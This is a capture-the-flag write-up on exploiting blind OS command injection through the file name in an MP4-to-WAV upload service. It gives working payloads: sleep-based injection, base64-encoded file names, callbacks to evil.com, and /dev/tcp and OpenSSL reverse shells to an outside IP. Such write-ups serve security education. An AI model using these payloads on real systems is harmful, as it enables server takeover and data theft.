‘Video Audio Extractor’ is a simple web application consisting of a single page - upload, with the main purpose of a user uploading a valid .mp4 file. The result is an extracted audio stream into a .wav file format being returned.
To solve this challenge and get the flag, there is only one vulnerability that has to be exploited. Of course, the fun part is that it can be done in multiple ways!
Looking at the HTML source code of the 'upload' page, there is nothing specifically interesting.
Plain HTML form which accepts a .mp4 input file and sends a POST request to "/upload" upon clicking the submit button "Upload and Extract Audio".
Whenever there is a file upload functionality that transforms an input file - I always first test with a valid request and then I check the EXIF metadata of the returned file. So let's start with that.
The following python code achieves that:
Note: 'test.mp4' should be present in the same directory as the script
The output of the above script should be:
Alternatively, exiftool can be directly used:
The output tells us that the software which generated the file is using the libavformat library.
This strongly suggests that the backend is probably running the 'FFmpeg' tool to extract the audio.
So, the functionality is probably implemented similarly to this:
Note: When the used library/tool is disclosed via the EXIF data, it's always a good idea to search for known vulnerabilities
The second thing I always try to do when testing file upload functionality is going through the following list:
Note: (5) & (6) & (7) are not applicable in the current context, however in other cases, they can yield helpful information
The results from the above tests tell us the following information:
Invalid filename, please make sure it is an MP4 file and does not contain any white spaces in the filename
Combining what we found in the first & second parts of the testing, we can conclude that there may be a Blind OS Command Execution vulnerability in the /upload endpoint via the file name.
Let's confirm that by trying the following payload -> $(sleep${IFS}13).mp4
The result is
Meaning the request took 13s+ to complete, which proves the command injection vulnerability!
The following payload template can be used, so we don't need to care about spaces and special characters:
For example, if you want to execute sleep 13
, the whole file name would look like:
Note:
echo 'c2xlZXAgMTMK' |base64 -d == sleep 13
Now the goal of the challenge is to extract the content of the flag.txt file, which is stored somewhere on the server.
Since this is a blind OS command execution, meaning the output is not visible we need some other way to get the flag:
But, first, let's see if we can get a network callback
Protocol | Command | Listener |
---|---|---|
HTTP | curl evil.com:1337 |
python3 -m http.server 1337 |
ICMP | ping evil.com |
sudo tcpdump -i <interface> icmp |
DNS | dig any @<ip-addr> -p 1337 |
dnserver --port 1337 zones.toml |
Unfortunately, none of the requests went through, this could mean two things:
As a final option let's try making a request through /dev/tcp:
Note: the final payload looks like that:
$(echo${IFS}'ZXhlYyAzPD4vZGV2L3RjcC85My4xMjMuMTYuMjE3LzgwICBlY2hvIC1lICJHRVQgL2QgSFRUUC8xLjFcclxuIiA+JjMgY2F0IDwmMw=='|base64${IFS}-d|bash).mp4
If successful the command above should make a HTTP GET request:
Success!
This proves that there is a connectivity between our attacker machine and the target, which means a reverse shell is possible.
However, before doing that, let's first try the time-based exfiltration approach.
The logic is simple - execute a command and check the output character by character and if the correct character is found sleep for 'n' seconds.
For example, if we have the following file:
And if want to read it character by character the following command can be used:
Which prints the '1st' character
Note: tr '\n' ' ' is required so the whole file content is displayed in single line
Now, combining it with an if statement and sleep:
To make it easier - the following Python script can be used to exfiltrate data:
Basically, it iterates through all printable characters and checks the response time if it's greater or equal to 5, then a new character is found and the index is incremented - after that, the whole process starts again for the next character.
After some time the output of the script would look like that:
Note: the location of the flag was found before that by listing the current directory and the root directory
There are multiple ways to achieve reverse shell connection. I will describe two:
Note: Since the application is written in python and python interpreter is installed on the docker container, it's possible to do a reverse shell with python as well
bash -i >& /dev/tcp/<ngrok-hostname>/<port> 0>&1
Voilà! We got the reverse shell
The last part of the flag talks about 'OpenSSL_Shell' which got me curious about the intended way of solving the challenge.
After some googlin', I found the following article reverse shell with OpenSSL
The author shares a way of creating a reverse shell using the openssl binary.
Note: The whole payload looks like that:
$(echo${IFS}'bWtmaWZvIC90bXAvczsgIC9iaW4vc2ggLWkgPCAvdG1wL3MgMj4mMSB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0ICAtY29ubmVjdCA5My4xMjMuMTYuMjE3OjQ0MyA+IC90bXAvczsgcm0gL3RtcC9z'|base64${IFS}-d|bash).mp4"
And indeed, this works as expected:
$(sleep${IFS}13).mp4
file nameThe latest challenge by Intigriti is an interesting CTF exercise which can be used to depict different ways of exploiting blind OS command execution vulnreabilities.
Moreover, this exercise sheds light on prevalent bad coding practices commonly found in the implementation of file upload functionality, offering valuable insights for developers to fortify their code against potential attacks
Overall, Intigriti's monthly CTF challenges not only provide an exciting and educational experience for cybersecurity enthusiasts but also play a crucial role in promoting a safer digital landscape by raising awareness about the importance of secure coding practices